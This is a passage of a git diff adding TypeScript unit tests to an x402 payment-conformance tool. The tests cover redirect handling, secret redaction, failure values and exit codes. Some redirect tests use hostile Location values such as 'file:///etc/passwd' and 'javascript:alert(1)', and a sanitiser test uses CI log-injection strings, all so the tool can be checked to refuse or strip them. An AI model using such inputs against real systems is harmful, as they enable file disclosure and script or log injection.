http.createServer((_request, response) => respond(response)); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + return { + url: `http://127.0.0.1:${(server.address() as { port: number }).port}/paid`, + close: () => + new Promise((resolve) => { + server.closeAllConnections(); + server.close(() => resolve()); + }), + }; +} + +function header(value: unknown): string { + return Buffer.from(typeof value === "string" ? value : JSON.stringify(value)).toString("base64"); +} + +/** What the result must carry: a FAIL with both values, each a short one-line string. */ +function assertExpectedActual(result: CheckResult | undefined, expected: RegExp, actual: RegExp): void { + assert.ok(result !== undefined, "the check has a result"); + assert.equal(checkStatus(result), "FAIL", result.id); + assert.equal(typeof result.expected, "string", `${result.id} has expected`); + assert.equal(typeof result.actual, "string", `${result.id} has actual`); + assert.match(result.expected ?? "", expected, `${result.id} expected`); + assert.match(result.actual ?? "", actual, `${result.id} actual`); + // One line each. The length is the sinks' to cut, after the secrets are removed: see redactValue below. + for (const value of [result.expected ?? "", result.actual ?? ""]) assert.ok(!value.includes("\n"), `${result.id}: one line`); +} + +describe("expected and actual on the FAILs of X402-01..03, against a service", () => { + let wrongStatus: Awaited>; + let noHeader: Awaited>; + let undecodable: Awaited>; + let empty: Awaited>; + + before(async () => { + wrongStatus = await service((response) => { + response.writeHead(200); + response.end("free"); + }); + noHeader = await service((response) => { + response.writeHead(402, { "content-type": "application/json" }); + response.end("{}"); + }); + undecodable = await service((response) => { + response.writeHead(402, { "payment-required": header("this is not json at all, and it goes on") }); + response.end("{}"); + }); + empty = await service((response) => { + response.writeHead(402, { "payment-required": header("") }); + response.end("{}"); + }); + }); + after(async () => { + await Promise.all([wrongStatus.close(), noHeader.close(), undecodable.close(), empty.close()]); + }); + + it("X402-01: expects status 402 and says the status the service sent", async () => { + const [first] = await runX402ReadChecks({ target: wrongStatus.url }); + assertExpectedActual(first, /402/, /200/); + assert.equal(first?.detail, "Expected status 402, got 200.", "detail is unchanged"); + }); + + it("X402-02: expects a PAYMENT-REQUIRED header and says none was there", async () => { + const results = await runX402ReadChecks({ target: noHeader.url }); + assertExpectedActual(results.find((result) => result.id === "X402-02"), /PAYMENT-REQUIRED header/, /no PAYMENT-REQUIRED or X-Payment header/); + assert.equal( + results.find((result) => result.id === "X402-02")?.detail, + "Neither PAYMENT-REQUIRED nor X-Payment header was present.", + "detail is unchanged", + ); + }); + + it("X402-03: expects base64 JSON and quotes the start of what the header decoded to", async () => { + const results = await runX402ReadChecks({ target: undecodable.url }); + assertExpectedActual(results.find((result) => result.id === "X402-03"), /base64.*JSON/i, /this is not json at all/); + assert.match(results.find((result) => result.id === "X402-03")?.detail ?? "", /^Failed to decode\/parse: /, "detail is unchanged"); + }); + + it("X402-03: says so when the header is empty", async () => { + const results = await runX402ReadChecks({ target: empty.url }); + const third = results.find((result) => result.id === "X402-03"); + // An empty header is not a header at all to some stacks; either way the FAIL carries both values. + if (third !== undefined && checkStatus(third) === "FAIL") assertExpectedActual(third, /JSON/, /empty|nothing|no value/i); + }); + + it("quotes a long header value whole, on one line: the sinks cut it, after the secrets are gone", async () => { + const long = await service((response) => { + response.writeHead(402, { "payment-required": header(`line one\nline two ${"x".repeat(3000)}`) }); + response.end("{}"); + }); + try { + const third = (await runX402ReadChecks({ target: long.url })).find((result) => result.id === "X402-03"); + assertExpectedActual(third, /JSON/, /line one\\nline two xxx/); + } finally { + await long.close(); + } + }); +}); + +describe("expected and actual on the FAILs of X402-04", () => { + it("an x402Version that is neither 1 nor 2", () => { + assertExpectedActual(checkRequiredFields(challenge([option()], 3)), /x402Version 2/, /x402Version 3/); + assertExpectedActual(checkRequiredFields({ accepts: [option()] }), /x402Version 2/, /no x402Version|undefined/); + }); + + it("no payment options: missing, empty or not a list", () => { + assertExpectedActual(checkRequiredFields({ x402Version: 2 }), /at least one/, /accepts is missing/); + assertExpectedActual(checkRequiredFields(challenge([])), /at least one/, /accepts is empty/); + }); + + it("missing fields: names the ones that are missing, in both", () => { + const { asset: _asset, payTo: _payTo, ...rest } = option(); + const result = checkRequiredFields(challenge([rest])); + assertExpectedActual(result, /asset, payTo/, /asset, payTo/); + assert.match(result.expected ?? "", /present/); + assert.match(result.actual ?? "", /missing/); + assert.equal(result.detail, "Missing: asset, payTo.", "detail is unchanged"); + }); + + it("a field of the wrong type: the type it needs and the value it had", () => { + const result = checkRequiredFields(challenge([option({ amount: 10000 })])); + assertExpectedActual(result, /amount.*string/, /amount.*number 10000/); + }); + + it("a v1 price field name in a v2 challenge: the name v2 requires and the one found", () => { + const { amount: _amount, ...rest } = option(); + const result = checkRequiredFields(challenge([{ ...rest, maxAmountRequired: "10000" }])); + assertExpectedActual(result, /`amount`/, /`maxAmountRequired`/); + }); + + it("several options: each problem is labelled with its option", () => { + const { payTo: _payTo, ...rest } = option(); + const result = checkRequiredFields(challenge([option(), rest])); + assertExpectedActual(result, /accepts\[1\]: payTo/, /accepts\[1\]: payTo/); + }); +}); + +describe("expected and actual on the FAIL of X402-05", () => { + it("a name that is not CAIP-2: the shape needed and the value sent", () => { + const result = checkNetworkIdentifier(challenge([option({ network: "base-sepolia" })])); + assertExpectedActual(result, /CAIP-2/, /"base-sepolia"/); + assert.match(result.detail, /is not a CAIP-2 identifier/, "detail is unchanged"); + }); + + it("a Stellar network that does not exist: the two that do", () => { + assertExpectedActual(checkNetworkIdentifier(challenge([option({ network: "stellar:mainnet" })])), /stellar:testnet or stellar:pubnet/, /"stellar:mainnet"/); + }); + + it("an eip155 id in hex: the base 10 shape", () => { + assertExpectedActual(checkNetworkIdentifier(challenge([option({ network: "eip155:0x14a34" })])), /eip155:.*base 10/, /"eip155:0x14a34"/); + }); + + it("a solana reference that is not a genesis hash prefix", () => { + assertExpectedActual(checkNetworkIdentifier(challenge([option({ network: "solana:devnet" })])), /solana:.*genesis hash/, /"solana:devnet"/); + }); + + it("several options: the one that is wrong is named", () => { + const result = checkNetworkIdentifier(challenge([option(), option({ network: "base-sepolia" })])); + assertExpectedActual(result, /accepts\[1\]/, /accepts\[1\].*"base-sepolia"/); + }); + + it("quotes a long network value whole: the sinks cut it", () => { + const result = checkNetworkIdentifier(challenge([option({ network: `x${"y".repeat(500)}` })])); + assertExpectedActual(result, /CAIP-2/, /yyy/); + }); +}); + +describe("a check that passes, skips or errors carries neither value", () => { + it("has no expected and no actual", () => { + for (const result of [checkRequiredFields(challenge([option()])), checkNetworkIdentifier(challenge([option()])), checkNetworkIdentifier(challenge([]))]) { + assert.ok(!("expected" in result), result.id); + assert.ok(!("actual" in result), result.id); + } + }); +}); + +describe("toStructuredRun and expected and actual", () => { + const failing: CheckResult = { + id: "X402-01", + name: "402 Response Status", + pass: false, + detail: "Expected status 402, got 200.", + hint: "Answer an unpaid request with 402.", + expected: "status 402", + actual: "status 200", + }; + + it("carries both on a FAIL, and leaves every old field as it was", () => { + const withValues = toStructuredRun([failing]).results[0]!; + const { expected: _e, actual: _a, ...without } = failing; + const old = toStructuredRun([without]).results[0]!; + assert.equal(withValues.expected, "status 402"); + assert.equal(withValues.actual, "status 200"); + const { expected: _e2, actual: _a2, ...rest } = withValues; + assert.deepEqual(rest, old, "id, name, status, detail, destructive, fix, docs: unchanged"); + assert.deepEqual(Object.keys(old).sort(), ["destructive", "detail", "docs", "fix", "id", "name", "status"]); + }); + + it("leaves the keys out when the check did not record them", () => { + const run = toStructuredRun([{ id: "X402-01", name: "n", pass: false, detail: "d" }]); + assert.ok(!("expected" in run.results[0]!)); + assert.ok(!("actual" in run.results[0]!)); + }); + + it("carries them only on a FAIL: not on a pass, a skip or an error", () => { + const run = toStructuredRun([ + { id: "A", name: "a", pass: true, detail: "d", expected: "x", actual: "y" }, + { id: "B", name: "b", pass: false, detail: "d", skipped: true, skipReason: "r", expected: "x", actual: "y" }, + { id: "C", name: "c", pass: false, detail: "d", error: { kind: "harness", message: "m" }, expected: "x", actual: "y" }, + ]); + for (const result of run.results) { + assert.ok(!("expected" in result), result.id); + assert.ok(!("actual" in result), result.id); + } + }); + + it("passes both through the sanitiser: control characters, a leading ::, a Stellar key", () => { + const key = `S${"A".repeat(55)}`; + const run = toStructuredRun([ + { ...failing, expected: "ok\u001b[2J\n::set-output name=x::1", actual: `a\u0007b ${key}\n##[warning]hi` }, + ]); + const { expected, actual } = run.results[0]!; + assert.ok(!/[\u0000-\u0008\u000b-\u001f\u007f-\u009f]/.test(`${expected}${actual}`.replace(/\n/g, ""))); + assert.ok(!/^\s*(::|##\[)/m.test(`${expected}\n${actual}`)); + assert.ok(!(actual ?? "").includes(key)); + }); +}); + +describe("redactValue and the length of expected and actual", () => { + const SECRET = "canary-header-value-7f3a-0123456789"; + const failing = (actual: string, expected = "status 402"): CheckResult => ({ + id: "X402-05", + name: "Network Identifier Valid", + pass: false, + detail: "d", + expected, + actual, + }); + + it("cuts expected and actual to 200 characters, with an ellipsis, and nothing else", () => { + const run = redactValue(toStructuredRun([failing("y".repeat(1000), "e".repeat(1000))]), []); + const [result] = run.results; + assert.equal(Array.from(result!.actual ?? "").length, 200); + assert.equal(Array.from(result!.expected ?? "").length, 200); + assert.ok((result!.actual ?? "").endsWith("…")); + assert.equal(result!.detail, "d"); + }); + + it("removes a secret before it cuts: one that straddles the cut leaves no start of itself", () => { + // 190 characters, then the secret: a cut at 200 first would keep its first 10. + const run = redactValue(toStructuredRun([failing(`"${"a".repeat(189)}${SECRET} and more after it"`)]), [SECRET]); + const actual = run.results[0]!.actual ?? ""; + assert.ok(!actual.includes(SECRET)); + assert.ok(!actual.includes("canary"), "no start of it either"); + assert.ok(actual.includes("[redacted"), "the mask is there, itself cut by the limit"); + }); + + it("does the same for a report or a run with no secrets to remove", () => { + const run = redactValue(toStructuredRun([failing("z".repeat(500))]), []); + assert.equal(Array.from(run.results[0]!.actual ?? "").length, 200); + }); +}); diff --git a/packages/core/test/unit/fetch-target-redirects.test.ts b/packages/core/test/unit/fetch-target-redirects.test.ts new file mode 100644 index 0000000..552a1c9 --- /dev/null +++ b/packages/core/test/unit/fetch-target-redirects.test.ts @@ -0,0 +1,303 @@ +/** + * The redirect rule for the read-only tier (spec A8 #5, attack finding A-A06). + * + * `fetch` follows a redirect to any host. Without a rule, a route that redirects + * to another origin would draw Wasit's request there: Wasit would probe a host + * the builder never declared as theirs (rule 7). The rule: a redirect to another + * origin is reported and gives no verdict, and a redirect inside the declared + * origin is followed once. + * + * Servers here are in-process and listen on loopback; nothing leaves the machine. + */ + +import assert from "node:assert/strict"; +import http from "node:http"; +import { afterEach, describe, it } from "node:test"; + +import { ConfigurationError, RedirectRefusedError, classifyCheckError, fetchTarget } from "../../src/errors.js"; +import { runX402ReadChecks } from "../../src/x402/simulator.js"; + +interface Seen { + readonly method: string; + readonly path: string; + readonly body: string; + readonly headers: http.IncomingHttpHeaders; +} + +interface Site { + readonly origin: string; + readonly seen: Seen[]; + readonly close: () => Promise; +} + +const open: Site[] = []; + +/** Starts a loopback server; `handle` answers each request and the site records what it got. */ +async function site(handle: (request: http.IncomingMessage, response: http.ServerResponse, origin: string) => void): Promise { + const seen: Seen[] = []; + let origin = ""; + const server = http.createServer((request, response) => { + const chunks: Buffer[] = []; + request.on("data", (chunk: Buffer) => chunks.push(chunk)); + request.on("end", () => { + seen.push({ + method: request.method ?? "", + path: request.url ?? "", + body: Buffer.concat(chunks).toString("utf-8"), + headers: request.headers, + }); + handle(request, response, origin); + }); + }); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + origin = `http://127.0.0.1:${(server.address() as { port: number }).port}`; + const created: Site = { + origin, + seen, + close: () => new Promise((resolve) => { server.closeAllConnections(); server.close(() => resolve()); }), + }; + open.push(created); + return created; +} + +afterEach(async () => { + await Promise.all(open.splice(0).map((created) => created.close())); +}); + +const SAME_ORIGIN = { redirects: "same-origin" } as const; + +async function refusal(promise: Promise): Promise { + try { + await promise; + } catch (error) { + assert.ok(error instanceof RedirectRefusedError, `expected a RedirectRefusedError, got ${String(error)}`); + return error; + } + return assert.fail("expected the redirect to be refused"); +} + +describe("fetchTarget with redirects: same-origin", () => { + it("returns a response that is not a redirect, untouched", async () => { + const a = await site((_request, response) => { response.writeHead(402); response.end("pay"); }); + const response = await fetchTarget(`${a.origin}/paid`, undefined, SAME_ORIGIN); + assert.equal(response.status, 402); + assert.equal(await response.text(), "pay"); + }); + + it("follows a redirect inside the origin, once", async () => { + const a = await site((request, response) => { + if (request.url === "/old") { response.writeHead(302, { location: "/new" }); response.end(); return; } + response.writeHead(402); response.end("pay"); + }); + const response = await fetchTarget(`${a.origin}/old`, undefined, SAME_ORIGIN); + assert.equal(response.status, 402); + assert.deepEqual(a.seen.map((s) => s.path), ["/old", "/new"]); + }); + + it("follows an absolute Location that keeps the origin", async () => { + const a = await site((request, response, origin) => { + if (request.url === "/old") { response.writeHead(301, { location: `${origin}/new?x=1` }); response.end(); return; } + response.writeHead(402); response.end(); + }); + const response = await fetchTarget(`${a.origin}/old`, undefined, SAME_ORIGIN); + assert.equal(response.status, 402); + assert.deepEqual(a.seen.map((s) => s.path), ["/old", "/new?x=1"]); + }); + + it("refuses the second redirect: one is followed, not a chain", async () => { + const a = await site((request, response) => { + const next: Record = { "/a": "/b", "/b": "/c" }; + const to = next[request.url ?? ""]; + if (to) { response.writeHead(302, { location: to }); response.end(); return; } + response.writeHead(402); response.end(); + }); + const error = await refusal(fetchTarget(`${a.origin}/a`, undefined, SAME_ORIGIN)); + assert.match(error.message, /more than one redirect/); + assert.deepEqual(a.seen.map((s) => s.path), ["/a", "/b"]); + }); + + it("refuses a redirect to another origin, reports it, and never connects there", async () => { + const b = await site((_request, response) => { response.writeHead(402); response.end("elsewhere"); }); + const a = await site((_request, response) => { response.writeHead(302, { location: `${b.origin}/x?token=hunter2#frag` }); response.end(); }); + const error = await refusal(fetchTarget(`${a.origin}/paid`, undefined, SAME_ORIGIN)); + assert.match(error.message, new RegExp(`redirects to ${b.origin.replace(/\./g, "\\.")}`)); + assert.match(error.message, /did not follow/); + // Only the origin is named: not the path, the query or the fragment. + assert.equal(error.message.includes("hunter2"), false); + assert.equal(error.message.includes("/x"), false); + assert.equal(b.seen.length, 0, "a request reached the other origin"); + }); + + it("treats a different port, host name, scheme or userinfo as another origin", async () => { + const a = await site((request, response, origin) => { + const port = origin.split(":")[2]; + const targets: Record = { + "/host": `http://localhost:${port}/x`, + "/scheme": `https://127.0.0.1:${port}/x`, + "/port": `http://127.0.0.1:1/x`, + "/userinfo": `http://user:pass@127.0.0.1:${port}/x`, + "/mixed-case": `HTTP://127.0.0.1:${port}/ok`, + }; + if (request.url === "/ok") { response.writeHead(402); response.end(); return; } + response.writeHead(302, { location: targets[request.url ?? ""] ?? "/ok" }); + response.end(); + }); + for (const path of ["/host", "/scheme", "/port"]) { + await refusal(fetchTarget(`${a.origin}${path}`, undefined, SAME_ORIGIN)); + } + // userinfo does not change the origin, but a request is never sent to a Location that carries credentials. + const error = await refusal(fetchTarget(`${a.origin}/userinfo`, undefined, SAME_ORIGIN)); + assert.equal(error.message.includes("pass"), false); + // The scheme and host are case-insensitive: the same origin is followed. + assert.equal((await fetchTarget(`${a.origin}/mixed-case`, undefined, SAME_ORIGIN)).status, 402); + }); + + it("refuses a Location that is not an http(s) URL, or not a URL at all", async () => { + const a = await site((request, response) => { + const locations: Record = { + "/file": "file:///etc/passwd", + "/js": "javascript:alert(1)", + "/ftp": "ftp://127.0.0.1/x", + "/data": "data:text/plain,hello", + "/broken": "http://", + "/empty-host": "http:///x", + }; + response.writeHead(302, { location: locations[request.url ?? ""] ?? "/" }); + response.end(); + }); + for (const path of ["/file", "/js", "/ftp", "/data", "/broken", "/empty-host"]) { + const error = await refusal(fetchTarget(`${a.origin}${path}`, undefined, SAME_ORIGIN)); + assert.equal(error.message.includes("passwd"), false, path); + assert.equal(error.message.includes("alert"), false, path); + } + assert.equal(a.seen.length, 6); + }); + + it("returns a 3xx without a Location as it is, so the check can report the status", async () => { + const a = await site((_request, response) => { response.writeHead(302); response.end(); }); + const response = await fetchTarget(`${a.origin}/x`, undefined, SAME_ORIGIN); + assert.equal(response.status, 302); + }); + + it("returns a 304 or 300 as it is: they are not redirects to follow", async () => { + const a = await site((request, response) => { + response.writeHead(request.url === "/304" ? 304 : 300, { location: "/elsewhere" }); + response.end(); + }); + assert.equal((await fetchTarget(`${a.origin}/304`, undefined, SAME_ORIGIN)).status, 304); + assert.equal((await fetchTarget(`${a.origin}/300`, undefined, SAME_ORIGIN)).status, 300); + assert.equal(a.seen.length, 2); + }); + + it("keeps the method, body and headers on a 307 or 308", async () => { + const a = await site((request, response) => { + if (request.url === "/old") { response.writeHead(307, { location: "/new" }); response.end(); return; } + response.writeHead(402); response.end(); + }); + await fetchTarget(`${a.origin}/old`, { + method: "POST", + body: '{"text":"hi"}', + headers: { "content-type": "application/json", "x-tenant": "demo" }, + }, SAME_ORIGIN); + const [first, second] = a.seen; + assert.equal(second?.method, "POST"); + assert.equal(second?.body, '{"text":"hi"}'); + assert.equal(second?.headers["x-tenant"], "demo"); + assert.equal(second?.headers["content-type"], "application/json"); + assert.equal(first?.body, '{"text":"hi"}'); + }); + + it("turns a POST into a GET without body or content headers on a 301, 302 or 303", async () => { + for (const status of [301, 302, 303]) { + const a = await site((request, response) => { + if (request.url === "/old") { response.writeHead(status, { location: "/new" }); response.end(); return; } + response.writeHead(402); response.end(); + }); + await fetchTarget(`${a.origin}/old`, { + method: "POST", + body: '{"text":"hi"}', + headers: { "content-type": "application/json", "x-tenant": "demo" }, + }, SAME_ORIGIN); + const second = a.seen[1]; + assert.equal(second?.method, "GET", String(status)); + assert.equal(second?.body, "", String(status)); + assert.equal(second?.headers["content-type"], undefined, String(status)); + assert.equal(second?.headers["x-tenant"], "demo", String(status)); + } + }); + + it("keeps a PUT on a 302 (only a POST becomes a GET), and always a HEAD", async () => { + const a = await site((request, response) => { + if (request.url === "/old") { response.writeHead(302, { location: "/new" }); response.end(); return; } + response.writeHead(402); response.end(); + }); + await fetchTarget(`${a.origin}/old`, { method: "PUT", body: "x" }, SAME_ORIGIN); + assert.equal(a.seen[1]?.method, "PUT"); + await fetchTarget(`${a.origin}/old`, { method: "HEAD" }, SAME_ORIGIN); + assert.equal(a.seen[3]?.method, "HEAD"); + }); + + it("still reports an unreachable host as unreachable", async () => { + await assert.rejects(fetchTarget("http://127.0.0.1:1/x", undefined, SAME_ORIGIN), /Could not connect/); + }); +}); + +describe("fetchTarget by default (the calls that carry a payment)", () => { + it("still follows a redirect to another origin, as before this change", async () => { + const b = await site((_request, response) => { response.writeHead(402); response.end("elsewhere"); }); + const a = await site((_request, response) => { response.writeHead(302, { location: `${b.origin}/x` }); response.end(); }); + const response = await fetchTarget(`${a.origin}/paid`); + assert.equal(response.status, 402); + assert.equal(await response.text(), "elsewhere"); + assert.equal(b.seen.length, 1); + }); +}); + +describe("RedirectRefusedError", () => { + it("is a configuration error: no verdict about the target", async () => { + const b = await site((_request, response) => { response.writeHead(402); response.end(); }); + const a = await site((_request, response) => { response.writeHead(302, { location: b.origin }); response.end(); }); + const error = await refusal(fetchTarget(`${a.origin}/x`, undefined, SAME_ORIGIN)); + assert.ok(error instanceof ConfigurationError); + assert.equal(classifyCheckError(error).kind, "configuration"); + }); +}); + +describe("runX402ReadChecks and a redirect", () => { + const challenge = Buffer.from( + JSON.stringify({ + x402Version: 2, + accepts: [{ + scheme: "exact", + network: "stellar:testnet", + amount: "10000", + asset: "CBIELTK6YBZJU5UP2WWQEUCYKLPU6AUNZ2BQ4WWFEIE3USCIHMXQDAMA", + payTo: "GBNCC3VFT7PGUMGDQU5O35SXVWWTAHCO4LFFWLYFBLQCD56DNWYWM6ZS", + maxTimeoutSeconds: 60, + }], + }), + ).toString("base64"); + + it("gives no verdict for a route that redirects to another origin, and sends nothing there", async () => { + const b = await site((_request, response) => { response.writeHead(402, { "payment-required": challenge }); response.end(); }); + const a = await site((_request, response) => { response.writeHead(302, { location: `${b.origin}/paid` }); response.end(); }); + const results = await runX402ReadChecks({ target: `${a.origin}/paid` }); + assert.equal(results[0]?.id, "X402-01"); + assert.equal(results[0]?.error?.kind, "configuration"); + assert.match(results[0]?.detail ?? "", /redirects to/); + assert.equal(results.filter((result) => result.pass).length, 0); + assert.equal(results.slice(1).every((result) => result.skipped === true), true); + assert.equal(b.seen.length, 0, "a request reached the other origin"); + }); + + it("grades the route a same-origin redirect leads to", async () => { + const a = await site((request, response) => { + if (request.url === "/old") { response.writeHead(307, { location: "/paid" }); response.end(); return; } + response.writeHead(402, { "payment-required": challenge }); response.end(); + }); + const results = await runX402ReadChecks({ target: `${a.origin}/old` }); + assert.deepEqual(results.map((result) => [result.id, result.pass]), [ + ["X402-01", true], ["X402-02", true], ["X402-03", true], ["X402-04", true], ["X402-05", true], + ]); + }); +}); diff --git a/packages/core/test/unit/fix-hints.test.ts b/packages/core/test/unit/fix-hints.test.ts index f172cee..4cf6b24 100644 --- a/packages/core/test/unit/fix-hints.test.ts +++ b/packages/core/test/unit/fix-hints.test.ts @@ -198,12 +198,16 @@ describe("X402-01 to X402-03 hints", () => { } }); - it("X402-02 moves a v1 body challenge to v2", async () => { + // A v1 body challenge is unsupported, not a FAIL (spec A3), so the move to v2 + // is said in the skip's reason; a hint is shown only under a FAIL. + it("X402-02 tells a v1 body challenge how to move to v2, in the reason it is unsupported", async () => { const body = JSON.stringify({ x402Version: 1, accepts: [] }); const target = await answer(402, { "content-type": "application/json" }, body); try { const results = byId(await runX402ReadChecks({ target: target.url })); - assert.match(results["X402-02"]?.hint ?? "", /Move to x402 v2/); + assert.equal(results["X402-02"]?.skipKind, "unsupported"); + assert.match(results["X402-02"]?.skipReason ?? "", /move to x402 v2: send the challenge base64-encoded in a PAYMENT-REQUIRED response header/); + assert.equal(results["X402-02"]?.hint, undefined); } finally { await target.close(); } diff --git a/packages/core/test/unit/read-only-tier.test.ts b/packages/core/test/unit/read-only-tier.test.ts new file mode 100644 index 0000000..0a83405 --- /dev/null +++ b/packages/core/test/unit/read-only-tier.test.ts @@ -0,0 +1,216 @@ +/** + * What the read-only tier reports for the checks it does not run, the exit + * rule for one endpoint (`wasit test`, the MCP x402 tool), and the redaction of + * a report (spec A2, A8 #3 and #6, D-021). + * + * The rule: an endpoint counts as tested only when it is `conformant` or + * `non-conformant`. A service that was never graded exits 2, "no verdict": not + * green, and not labelled FAIL. + */ + +import assert from "node:assert/strict"; +import { describe, it } from "node:test"; + +import { type CheckResult, checkStatus, errored, skipped } from "../../src/check.js"; +import { ConfigurationError } from "../../src/errors.js"; +import { + buildEndpointReport, + buildRunReport, + endpointOutcome, + exitCodeForEndpoint, + redactReport, + skippedPaymentChecks, + toGradedRun, +} from "../../src/report.js"; +import { readToolVersions } from "../../src/versions.js"; + +function pass(id: string): CheckResult { + return { id, name: id, pass: true, detail: "ok" }; +} +function fail(id: string): CheckResult { + return { id, name: id, pass: false, detail: "wrong", hint: "fix it" }; +} +const CHALLENGE = ["X402-01", "X402-02", "X402-03", "X402-04", "X402-05"]; +const PAYMENT = ["X402-06", "X402-07", "X402-08", "X402-09", "X402-10"]; + +function v1Results(): CheckResult[] { + return [pass("X402-01"), ...CHALLENGE.slice(1).map((id) => skipped(id, id, "x402 v1", "unsupported"))]; +} + +describe("skippedPaymentChecks", () => { + it("lists X402-06..10 for x402, each a SKIP of the kind it was given, named from the catalogue", () => { + const checks = skippedPaymentChecks("x402", "read-only"); + assert.deepEqual(checks.map((check) => check.id), ["X402-06", "X402-07", "X402-08", "X402-09", "X402-10"]); + for (const check of checks) { + assert.equal(checkStatus(check), "SKIP", check.id); + assert.equal(check.skipKind, "read-only", check.id); + assert.notEqual(check.name, check.id, "the name comes from the catalogue"); + } + assert.equal(checks[0]!.name, "Signature Resubmit Accepted"); + }); + + it("says in the reason that the checks pay, and need a payer and the payment tier", () => { + const [first] = skippedPaymentChecks("x402", "read-only"); + assert.match(first!.skipReason ?? "", /read-only/); + assert.match(first!.skipReason ?? "", /payer/); + assert.match(first!.skipReason ?? "", /payment tier/); + }); + + it("gives needs-payer its own reason: the run was allowed to pay and had no key", () => { + const [first] = skippedPaymentChecks("x402", "needs-payer"); + assert.equal(first!.skipKind, "needs-payer"); + assert.match(first!.skipReason ?? "", /no payer key/); + }); + + it("lists MPP-01 for a charge endpoint", () => { + assert.deepEqual(skippedPaymentChecks("mpp-charge", "read-only").map((check) => check.id), ["MPP-01"]); + }); + + it("lists MPP-10, 11, 12 and 14 for a channel endpoint, and never MPP-13", () => { + const ids = skippedPaymentChecks("mpp-channel", "read-only").map((check) => check.id); + assert.deepEqual(ids, ["MPP-10", "MPP-11", "MPP-12", "MPP-14"]); + assert.ok(!ids.includes("MPP-13")); + }); +}); + +describe("exitCodeForEndpoint", () => { + it("is 0 for a conformant endpoint, with its payment group skipped", () => { + const results = [...CHALLENGE.map(pass), ...skippedPaymentChecks("x402", "read-only")]; + assert.equal(exitCodeForEndpoint(results, "x402"), 0); + }); + + it("is 1 on any FAIL", () => { + assert.equal(exitCodeForEndpoint([pass("X402-01"), fail("X402-04")], "x402"), 1); + }); + + it("is 2 for an x402 v1 service: it was never graded, and that is neither green nor a FAIL", () => { + assert.equal(exitCodeForEndpoint(v1Results(), "x402"), 2); + }); + + it("is 2 when a check errored and nothing failed", () => { + assert.equal(exitCodeForEndpoint([pass("X402-01"), errored("X402-06", "x", new ConfigurationError("setup"))], "x402"), 2); + }); + + it("is 2 when nothing ran, or everything was skipped", () => { + assert.equal(exitCodeForEndpoint([], "x402"), 2); + assert.equal(exitCodeForEndpoint(skippedPaymentChecks("x402", "read-only"), "x402"), 2); + }); + + it("lets a FAIL outrank everything", () => { + assert.equal(exitCodeForEndpoint([...v1Results(), fail("X402-06")], "x402"), 1); + }); + + // Najmi, 2026-11-15 (review of S1, finding 1): payment checks were asked for and none could be + // graded on this network (a typo, eip155:1). Green would hide it; 0.7.0 exited 2 here too. + it("is 2 when the payment group is unsupported: the challenge was graded, but the payment checks asked for were not", () => { + const results = [...CHALLENGE.map(pass), ...PAYMENT.map((id) => skipped(id, id, "no payment adapter for eip155:1", "unsupported"))]; + assert.equal(exitCodeForEndpoint(results, "x402"), 2); + assert.equal(endpointOutcome(results, "x402"), "no-verdict"); + }); + + it("lets a FAIL in the challenge outrank an unsupported payment group", () => { + const results = [pass("X402-01"), fail("X402-04"), ...PAYMENT.map((id) => skipped(id, id, "no adapter", "unsupported"))]; + assert.equal(exitCodeForEndpoint(results, "x402"), 1); + }); + + it("stays 0 when the payment group is skipped for another reason: read-only, or no payer key", () => { + assert.equal(exitCodeForEndpoint([...CHALLENGE.map(pass), ...skippedPaymentChecks("x402", "needs-payer")], "x402"), 0); + }); +}); + +describe("toGradedRun with an unsupported payment group", () => { + it("names the run no-verdict, for an MCP agent as for the shell", () => { + const results = [...CHALLENGE.map(pass), ...PAYMENT.map((id) => skipped(id, id, "no payment adapter for eip155:1", "unsupported"))]; + assert.equal(toGradedRun(results, "x402").outcome, "no-verdict"); + }); +}); + +describe("toGradedRun", () => { + it("names a v1 service no-verdict, with the counts of toStructuredRun, so an MCP agent cannot read it as conformant", () => { + const run = toGradedRun(v1Results(), "x402"); + assert.equal(run.outcome, "no-verdict"); + assert.equal(run.passed, 1); + assert.equal(run.skipped, 4); + assert.equal(run.failed, 0); + }); + + it("agrees with exitCodeForEndpoint: 0 conformant, 1 non-conformant, 2 no-verdict", () => { + const conformant = CHALLENGE.map(pass); + assert.equal(toGradedRun(conformant, "x402").outcome, "conformant"); + assert.equal(toGradedRun([fail("X402-01")], "x402").outcome, "non-conformant"); + assert.equal(toGradedRun([], "x402").outcome, "no-verdict"); + }); +}); + +describe("the reason of an endpoint that only the read-only tier left without a verdict", () => { + it("names the tier, not 'every check was skipped'", () => { + const report = buildEndpointReport({ + name: "chat", + protocol: "mpp-charge", + method: "GET", + path: "/mpp/chat", + results: skippedPaymentChecks("mpp-charge", "read-only"), + }); + assert.equal(report.outcome, "no-verdict"); + assert.match(report.reason ?? "", /read-only/); + assert.match(report.reason ?? "", /payment tier/); + }); + + it("keeps the error text for an endpoint that errored", () => { + const report = buildEndpointReport({ + name: "w", + protocol: "x402", + method: "GET", + path: "/w", + results: [errored("X402-01", "x", new ConfigurationError("could not connect"))], + }); + assert.match(report.reason ?? "", /could not connect/); + }); +}); + +describe("redactReport", () => { + const CANARY = "canary-header-value-7f3a"; + + function reportWith(text: string) { + const endpoint = buildEndpointReport({ + name: "weather", + protocol: "x402", + method: "GET", + path: "/w", + results: [ + { id: "X402-01", name: "402 Response Status", pass: false, detail: text, hint: `echoed ${text}` }, + ], + }); + return buildRunReport({ + environment: "local", + network: "stellar:testnet", + startedAt: "2026-11-15T00:00:00.000Z", + versions: readToolVersions("0.7.0"), + endpoints: [endpoint], + notes: [`note ${text}`], + }); + } + + it("removes a value from every string of the report, a service echo of a header included", () => { + const report = reportWith(`the service said: ${CANARY}`); + assert.ok(JSON.stringify(report).includes(CANARY), "the canary is there before"); + const clean = redactReport(report, [CANARY]); + assert.ok(!JSON.stringify(clean).includes(CANARY)); + assert.match(JSON.stringify(clean), /\[redacted\]/); + }); + + it("changes nothing else, and does not change its input", () => { + const report = reportWith("plain"); + const before = JSON.stringify(report); + const clean = redactReport(report, [CANARY]); + assert.equal(JSON.stringify(clean), before); + assert.equal(JSON.stringify(report), before); + }); + + it("leaves numbers, booleans and the report's own shape alone", () => { + const clean = redactReport(reportWith("plain"), [CANARY]); + assert.equal(clean.schema, 1); + assert.equal(clean.totals.endpoints, 1); + assert.equal(clean.endpoints[0]!.results[0]!.destructive, false); + }); +}); diff --git a/packages/core/test/unit/report.test.ts b/packages/core/test/unit/report.test.ts new file mode 100644 index 0000000..58241d1 --- /dev/null +++ b/packages/core/test/unit/report.test.ts @@ -0,0 